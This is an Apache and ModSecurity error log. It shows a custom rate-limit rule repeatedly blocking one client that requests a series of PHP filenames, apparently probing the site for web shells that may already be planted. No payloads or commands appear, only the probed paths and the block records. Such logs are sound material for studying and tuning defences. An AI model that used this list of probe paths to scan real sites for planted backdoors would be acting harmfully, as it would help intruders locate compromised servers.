[Sat Mar 28 07:53:52.333285 2026] [:error] [pid 64860:tid 64931] [client 20.220.9.32:27561] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "accYkBkU3N0pg_4aEL_knwAAAFc"]
[Sat Mar 28 07:53:53.758998 2026] [:error] [pid 64860:tid 64925] [client 20.220.9.32:27536] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "accYkRkU3N0pg_4aEL_kqQAAAFE"]
[Sat Mar 28 07:53:55.187266 2026] [:error] [pid 64860:tid 64928] [client 20.220.9.32:27509] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "accYkxkU3N0pg_4aEL_ktgAAAFQ"]
[Sat Mar 28 07:53:56.609126 2026] [:error] [pid 43578:tid 43605] [client 20.220.9.32:27551] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "accYlHNG2YdGm41aN8LjngAAAlg"]
[Sat Mar 28 07:53:58.024633 2026] [:error] [pid 43579:tid 43620] [client 20.220.9.32:27517] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "accYliRqN4JVI8gB7AmV7gAAAow"]
[Sat Mar 28 07:53:59.451930 2026] [:error] [pid 43578:tid 43583] [client 20.220.9.32:27467] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "accYl3NG2YdGm41aN8LjowAAAkI"]
[Sat Mar 28 07:54:00.867436 2026] [:error] [pid 64859:tid 64886] [client 20.220.9.32:27574] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "accYmG3qEBHXq3rHdBmv2AAAAAU"]
[Sat Mar 28 07:54:02.287934 2026] [:error] [pid 34631:tid 34667] [client 20.220.9.32:27412] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "accYmjtzjMMS6kojpeQ3QQAAAcc"]
[Sat Mar 28 07:54:03.707533 2026] [:error] [pid 64860:tid 64929] [client 20.220.9.32:27546] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "accYmxkU3N0pg_4aEL_kxAAAAFU"]
[Sat Mar 28 07:54:05.127387 2026] [:error] [pid 2877:tid 2902] [client 20.220.9.32:27521] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/55b76.php"] [unique_id "accYnbgM4xL1Xj409YTe0AAAARc"]
[Sat Mar 28 07:54:06.563995 2026] [:error] [pid 64966:tid 64994] [client 20.220.9.32:27500] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "accYntfSvF5AFfSuKxX4kgAAANU"]
[Sat Mar 28 07:54:07.982532 2026] [:error] [pid 64861:tid 64949] [client 20.220.9.32:27473] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "accYn-xK22_lUN2kvnVt6AAAAI4"]
[Sat Mar 28 07:54:09.397173 2026] [:error] [pid 64860:tid 64921] [client 20.220.9.32:27560] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "accYoRkU3N0pg_4aEL_k1AAAAE0"]
[Sat Mar 28 07:54:10.817098 2026] [:error] [pid 34597:tid 34611] [client 20.220.9.32:27565] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "accYooluI7-e5s1cafcl_AAAAUo"]
[Sat Mar 28 07:54:12.241184 2026] [:error] [pid 43579:tid 43615] [client 20.220.9.32:27582] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "accYpCRqN4JVI8gB7AmV-gAAAoc"]
[Sat Mar 28 07:54:13.665651 2026] [:error] [pid 43579:tid 43626] [client 20.220.9.32:27520] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "accYpSRqN4JVI8gB7AmV_AAAApI"]
[Sat Mar 28 07:54:15.095089 2026] [:error] [pid 43579:tid 43616] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-access.php
[Sat Mar 28 07:54:15.304798 2026] [:error] [pid 43579:tid 43619] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Sat Mar 28 07:54:17.161975 2026] [:error] [pid 43579:tid 43630] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/tx78.php
[Sat Mar 28 07:54:17.370805 2026] [:error] [pid 43579:tid 43609] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/xfun.php
[Sat Mar 28 07:54:17.582327 2026] [:error] [pid 43579:tid 43627] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/h2.php
[Sat Mar 28 07:54:17.793344 2026] [:error] [pid 43579:tid 43620] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/wxfyf.php
[Sat Mar 28 07:54:18.003756 2026] [:error] [pid 43579:tid 43611] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/drhunthq.php
[Sat Mar 28 07:54:18.422487 2026] [:error] [pid 43579:tid 43626] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/wp9.php
[Sat Mar 28 07:54:18.631224 2026] [:error] [pid 43579:tid 43616] [client 20.220.9.32:27470] File does not exist: /usr/local/apache/htdocs/suspended-page/sale.php
[Sat Mar 28 07:54:18.837729 2026] [:error] [pid 43579:tid 43622] [client 20.220.9.32:27470] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "accYqiRqN4JVI8gB7AmWDgAAAo4"]
[Sat Mar 28 07:54:20.254838 2026] [:error] [pid 64861:tid 64951] [client 20.220.9.32:27491] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "accYrOxK22_lUN2kvnVuBAAAAJA"]
[Sat Mar 28 07:54:21.681762 2026] [:error] [pid 64861:tid 64942] [client 20.220.9.32:27427] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "accYrexK22_lUN2kvnVuCAAAAIc"]
[Sat Mar 28 07:54:23.114232 2026] [:error] [pid 64966:tid 64991] [client 20.220.9.32:27493] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "accYr9fSvF5AFfSuKxX4mwAAANI"]
[Sat Mar 28 07:54:24.537931 2026] [:error] [pid 43547:tid 43551] [client 20.220.9.32:27572] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "accYsD4ZEfdetXP-9aC1JgAAAgI"]
[Sat Mar 28 07:54:25.959924 2026] [:error] [pid 34631:tid 34679] [client 20.220.9.32:27425] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "accYsTtzjMMS6kojpeQ3XgAAAdM"]
[Sat Mar 28 07:54:27.440655 2026] [:error] [pid 43579:tid 43618] [client 20.220.9.32:27505] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "accYsyRqN4JVI8gB7AmWGQAAAoo"]
[Sat Mar 28 07:54:28.866953 2026] [:error] [pid 64861:tid 64935] [client 20.220.9.32:27542] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "accYtOxK22_lUN2kvnVuFAAAAIA"]
[Sat Mar 28 07:54:30.288772 2026] [:error] [pid 34631:tid 34667] [client 20.220.9.32:27417] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "accYtjtzjMMS6kojpeQ3bgAAAcc"]
[Sat Mar 28 07:54:31.766595 2026] [:error] [pid 64861:tid 64954] [client 20.220.9.32:27573] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "accYt-xK22_lUN2kvnVuGQAAAJM"]
[Sat Mar 28 07:54:33.179624 2026] [:error] [pid 64861:tid 64935] [client 20.220.9.32:27556] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "accYuexK22_lUN2kvnVuJwAAAIA"]
[Sat Mar 28 07:54:34.610804 2026] [:error] [pid 43579:tid 43616] [client 20.220.9.32:27616] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "accYuiRqN4JVI8gB7AmWIAAAAog"]
[Sat Mar 28 07:54:36.033503 2026] [:error] [pid 43547:tid 43571] [client 20.220.9.32:27497] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "accYvD4ZEfdetXP-9aC1KQAAAhY"]
[Sat Mar 28 07:54:37.461035 2026] [:error] [pid 43547:tid 43559] [client 20.220.9.32:27510] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "accYvT4ZEfdetXP-9aC1LQAAAgo"]
[Sat Mar 28 07:54:38.897717 2026] [:error] [pid 43579:tid 43621] [client 20.220.9.32:27640] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "accYviRqN4JVI8gB7AmWKwAAAo0"]
[Sat Mar 28 07:54:41.372613 2026] [:error] [pid 64861:tid 64951] [client 20.220.9.32:27636] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "accYwexK22_lUN2kvnVuawAAAJA"]
[Sat Mar 28 07:54:42.796306 2026] [:error] [pid 64861:tid 64945] [client 20.220.9.32:27479] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "accYwuxK22_lUN2kvnVufAAAAIo"]
[Sat Mar 28 07:54:44.225377 2026] [:error] [pid 34631:tid 34682] [client 20.220.9.32:27456] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "accYxDtzjMMS6kojpeQ3gAAAAdY"]
[Sat Mar 28 07:54:46.043560 2026] [:error] [pid 64860:tid 64923] [client 20.220.9.32:27393] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "accYxhkU3N0pg_4aEL_lHwAAAE8"]
[Sat Mar 28 07:54:47.462512 2026] [:error] [pid 64861:tid 64955] [client 20.220.9.32:27489] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "accYx-xK22_lUN2kvnVunwAAAJQ"]
[Sat Mar 28 07:54:48.891732 2026] [:error] [pid 64860:tid 64908] [client 20.220.9.32:27584] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "accYyBkU3N0pg_4aEL_lKQAAAEA"]
[Sat Mar 28 07:54:50.315487 2026] [:error] [pid 2877:tid 2899] [client 20.220.9.32:27436] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "accYyrgM4xL1Xj409YTe3gAAARQ"]
[Sat Mar 28 07:54:51.744846 2026] [:error] [pid 43578:tid 43588] [client 20.220.9.32:27610] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "accYy3NG2YdGm41aN8LjwAAAAkc"]
[Sat Mar 28 07:54:53.189205 2026] [:error] [pid 43547:tid 43559] [client 20.220.9.32:27628] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "accYzT4ZEfdetXP-9aC1MwAAAgo"]
[Sat Mar 28 07:54:54.613831 2026] [:error] [pid 64861:tid 64956] [client 20.220.9.32:27469] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "accYzuxK22_lUN2kvnVuswAAAJU"]
[Sat Mar 28 07:54:56.027402 2026] [:error] [pid 43547:tid 43549] [client 20.220.9.32:27328] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "accY0D4ZEfdetXP-9aC1NQAAAgA"]
[Sat Mar 28 07:54:57.471624 2026] [:error] [pid 43579:tid 43621] [client 20.220.9.32:27396] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "accY0SRqN4JVI8gB7AmWMQAAAo0"]
[Sat Mar 28 07:54:59.041662 2026] [:error] [pid 64861:tid 64958] [client 20.220.9.32:27408] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2ksm17n.php"] [unique_id "accY0-xK22_lUN2kvnVuugAAAJc"]
[Sat Mar 28 07:55:00.473811 2026] [:error] [pid 64861:tid 64953] [client 20.220.9.32:27518] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "accY1OxK22_lUN2kvnVuvQAAAJI"]
[Sat Mar 28 07:55:01.889692 2026] [:error] [pid 43579:tid 43616] [client 20.220.9.32:27476] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "accY1SRqN4JVI8gB7AmWNwAAAog"]
[Sat Mar 28 07:55:03.405162 2026] [:error] [pid 64860:tid 64927] [client 20.220.9.32:27400] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "accY1xkU3N0pg_4aEL_lWAAAAFM"]
[Sat Mar 28 07:55:04.837190 2026] [:error] [pid 64861:tid 64957] [client 20.220.9.32:27349] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "accY2OxK22_lUN2kvnVuxgAAAJY"]
[Sat Mar 28 07:55:06.303764 2026] [:error] [pid 64860:tid 64914] [client 20.220.9.32:27475] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "accY2hkU3N0pg_4aEL_lagAAAEY"]
[Sat Mar 28 07:55:07.759640 2026] [:error] [pid 64861:tid 64939] [client 20.220.9.32:27394] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "accY2-xK22_lUN2kvnVuyQAAAIQ"]
[Sat Mar 28 07:55:09.179665 2026] [:error] [pid 64860:tid 64929] [client 20.220.9.32:27513] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "accY3RkU3N0pg_4aEL_ldAAAAFU"]
[Sat Mar 28 07:55:10.627166 2026] [:error] [pid 64860:tid 64931] [client 20.220.9.32:27555] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "accY3hkU3N0pg_4aEL_legAAAFc"]
[Sat Mar 28 07:55:12.245851 2026] [:error] [pid 34631:tid 34663] [client 20.220.9.32:27579] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws77.php"] [unique_id "accY4DtzjMMS6kojpeQ3jQAAAcM"]
